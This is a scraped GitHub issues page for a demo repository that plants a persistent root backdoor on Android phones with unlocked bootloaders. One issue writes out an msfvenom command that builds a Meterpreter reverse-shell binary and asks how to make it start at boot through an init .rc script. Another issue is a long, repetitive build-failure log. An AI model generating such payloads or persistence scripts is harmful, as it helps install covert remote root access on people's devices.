luigivampa92/unlocked-bootloader-backdoor-demo

Installs a persistent backdoor binary on android devices with unlocked bootloader via TWRP that runs as system daemon with root permissions and without SELinux restrictions

unlocked-bootloader-backdoor-demo's Issues

Question/Help

Hi could you tell me something if I have a rooted android device then how do I:

msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=4444 -f elf -o revshell

I copy the revshell binary to /system/bin/ and then I create a revshell.rc script and copy it to /system/etc/init/

but explain to me what the content of this rc script would look like? What do I have to put inside for it to work?

Error while building sideloadable zip file

I was trying to run the build by ./build_revshell.py Which then throws the following error:

* Building Magisk Manager stub

Note: Some input files use or override a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
Note: /home/kali/unlocked-bootloader-backdoor-demo/app/shared/src/main/java/com/topjohnwu/magisk/DynAPK.java uses unchecked or unsafe operations.
Note: Recompile with -Xlint:unchecked for details.
Note: /home/kali/unlocked-bootloader-backdoor-demo/stub/src/main/java/com/topjohnwu/magisk/DownloadActivity.java uses or overrides a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
Note: /home/kali/unlocked-bootloader-backdoor-demo/stub/src/main/java/com/topjohnwu/magisk/DelegateComponentFactory.java uses unchecked or unsafe operations.
Note: Recompile with -Xlint:unchecked for details.

Output: out/stub-release.apk


* Building Magisk Manager


Output: out/app-release.apk


* Building binaries: magisk magiskinit magiskboot busybox

jni/init/rootdir.cpp:22:13: warning: unused function 'patch_init_rc' [-Wunused-function]
static void patch_init_rc(const char *src, const char *dest, const char *tmp_dir) {
            ^
jni/init/rootdir.cpp:63:13: warning: unused function 'load_overlay_rc' [-Wunused-function]
static void load_overlay_rc(const char *overlay) {
            ^
jni/init/rootdir.cpp:133:13: warning: unused function 'recreate_sbin' [-Wunused-function]
static void recreate_sbin(const char *mirror, bool use_bind_mount) {
            ^
3 warnings generated.
jni/init/init.cpp:26:17: warning: unused variable 'init_applet_main' [-Wunused-const-variable]
constexpr int (*init_applet_main[])(int, char *[]) =
                ^
jni/init/init.cpp:29:13: warning: unused function 'unxz' [-Wunused-function]
static bool unxz(int fd, const uint8_t *buf, size_t size) {
            ^
2 warnings generated.
jni/init/mount.cpp:395:14: warning: result of comparison against a string literal is unspecified (use strncmp instead) [-Wstring-compare]
    if (path == "/sbin") {
             ^  ~~~~~~~
jni/init/mount.cpp:386:13: warning: unused function 'patch_socket_name' [-Wunused-function]
static void patch_socket_name(const char *path) {
            ^
2 warnings generated.
jni/init/rootdir.cpp:22:13: warning: unused function 'patch_init_rc' [-Wunused-function]
static void patch_init_rc(const char *src, const char *dest, const char *tmp_dir) {
            ^
jni/init/rootdir.cpp:63:13: warning: unused function 'load_overlay_rc' [-Wunused-function]
static void load_overlay_rc(const char *overlay) {
            ^
jni/init/rootdir.cpp:133:13: warning: unused function 'recreate_sbin' [-Wunused-function]
static void recreate_sbin(const char *mirror, bool use_bind_mount) {
            ^
3 warnings generated.
jni/init/init.cpp:26:17: warning: unused variable 'init_applet_main' [-Wunused-const-variable]
constexpr int (*init_applet_main[])(int, char *[]) =
                ^
jni/init/init.cpp:29:13: warning: unused function 'unxz' [-Wunused-function]
static bool unxz(int fd, const uint8_t *buf, size_t size) {
            ^
2 warnings generated.
jni/init/mount.cpp:395:14: warning: result of comparison against a string literal is unspecified (use strncmp instead) [-Wstring-compare]
    if (path == "/sbin") {
             ^  ~~~~~~~
jni/init/mount.cpp:386:13: warning: unused function 'patch_socket_name' [-Wunused-function]
static void patch_socket_name(const char *path) {
            ^
2 warnings generated.
jni/init/rootdir.cpp:22:13: warning: unused function 'patch_init_rc' [-Wunused-function]
static void patch_init_rc(const char *src, const char *dest, const char *tmp_dir) {
            ^
jni/init/rootdir.cpp:63:13: warning: unused function 'load_overlay_rc' [-Wunused-function]
static void load_overlay_rc(const char *overlay) {
            ^
jni/init/rootdir.cpp:133:13: warning: unused function 'recreate_sbin' [-Wunused-function]
static void recreate_sbin(const char *mirror, bool use_bind_mount) {
            ^
3 warnings generated.
jni/init/init.cpp:26:17: warning: unused variable 'init_applet_main' [-Wunused-const-variable]
constexpr int (*init_applet_main[])(int, char *[]) =
                ^
jni/init/init.cpp:29:13: warning: unused function 'unxz' [-Wunused-function]
static bool unxz(int fd, const uint8_t *buf, size_t size) {
            ^
2 warnings generated.
jni/init/mount.cpp:395:14: warning: result of comparison against a string literal is unspecified (use strncmp instead) [-Wstring-compare]
    if (path == "/sbin") {
             ^  ~~~~~~~
jni/init/mount.cpp:386:13: warning: unused function 'patch_socket_name' [-Wunused-function]
static void patch_socket_name(const char *path) {
            ^
2 warnings generated.
jni/init/init.cpp:26:17: warning: unused variable 'init_applet_main' [-Wunused-const-variable]
constexpr int (*init_applet_main[])(int, char *[]) =
                ^
jni/init/init.cpp:29:13: warning: unused function 'unxz' [-Wunused-function]
static bool unxz(int fd, const uint8_t *buf, size_t size) {
            ^
2 warnings generated.
jni/init/rootdir.cpp:22:13: warning: unused function 'patch_init_rc' [-Wunused-function]
static void patch_init_rc(const char *src, const char *dest, const char *tmp_dir) {
            ^
jni/init/rootdir.cpp:63:13: warning: unused function 'load_overlay_rc' [-Wunused-function]
static void load_overlay_rc(const char *overlay) {
            ^
jni/init/rootdir.cpp:133:13: warning: unused function 'recreate_sbin' [-Wunused-function]
static void recreate_sbin(const char *mirror, bool use_bind_mount) {
            ^
3 warnings generated.
jni/init/mount.cpp:395:14: warning: result of comparison against a string literal is unspecified (use strncmp instead) [-Wstring-compare]
    if (path == "/sbin") {
             ^  ~~~~~~~
jni/init/mount.cpp:386:13: warning: unused function 'patch_socket_name' [-Wunused-function]
static void patch_socket_name(const char *path) {
            ^
2 warnings generated.
<built-in>:1:10: fatal error: 'include/autoconf.h' file not found
#include "include/autoconf.h"
         ^~~~~~~~~~~~~~~~~~~~
1 error generated.
make: *** [/usr/lib/android-sdk/ndk/magisk/build/core/build-binary.mk:476: obj/local/armeabi-v7a/objs/busybox/networking/whois.o] Error 1
make: *** Waiting for unfinished jobs....
<built-in>:1:10: fatal error: 'include/autoconf.h' file not found
#include "include/autoconf.h"
         ^~~~~~~~~~~~~~~~~~~~
1 error generated.
make: *** [/usr/lib/android-sdk/ndk/magisk/build/core/build-binary.mk:476: obj/local/armeabi-v7a/objs/busybox/networking/vconfig.o] Error 1
<built-in>:1:10: fatal error: 'include/autoconf.h' file not found
#include "include/autoconf.h"
         ^~~~~~~~~~~~~~~~~~~~
1 error generated.
make: *** [/usr/lib/android-sdk/ndk/magisk/build/core/build-binary.mk:476: obj/local/x86/objs/busybox/networking/whois.o] Error 1
<built-in>:1:10: fatal error: 'include/autoconf.h' file not found
#include "include/autoconf.h"
         ^~~~~~~~~~~~~~~~~~~~
1 error generated.
make: *** [/usr/lib/android-sdk/ndk/magisk/build/core/build-binary.mk:476: obj/local/armeabi-v7a/objs/busybox/networking/zcip.o] Error 1
<built-in>:1:10: fatal error: 'include/autoconf.h' file not found
#include "include/autoconf.h"
         ^~~~~~~~~~~~~~~~~~~~
1 error generated.
make: *** [/usr/lib/android-sdk/ndk/magisk/build/core/build-binary.mk:476: obj/local/armeabi-v7a/objs/busybox/networking/wget.o] Error 1
<built-in>:1:10: fatal error: 'include/autoconf.h' file not found
#include "include/autoconf.h"
         ^~~~~~~~~~~~~~~~~~~~
1 error generated.
make: *** [/usr/lib/android-sdk/ndk/magisk/build/core/build-binary.mk:476: obj/local/x86/objs/busybox/networking/wget.o] Error 1
<built-in>:1:10: fatal error: 'include/autoconf.h' file not found
#include "include/autoconf.h"
         ^~~~~~~~~~~~~~~~~~~~
1 error generated.
make: *** [/usr/lib/android-sdk/ndk/magisk/build/core/build-binary.mk:476: obj/local/x86/objs/busybox/networking/vconfig.o] Error 1
<built-in>:1:10: fatal error: 'include/autoconf.h' file not found
#include "include/autoconf.h"
         ^~~~~~~~~~~~~~~~~~~~
1 error generated.
make: *** [/usr/lib/android-sdk/ndk/magisk/build/core/build-binary.mk:476: obj/local/x86/objs/busybox/networking/zcip.o] Error 1

Build binary failed!

What am I doing wrong?

I tried this with different OS on fresh installations, still getting the same error.

Solutions tried but haven't worked:

Installed linux headers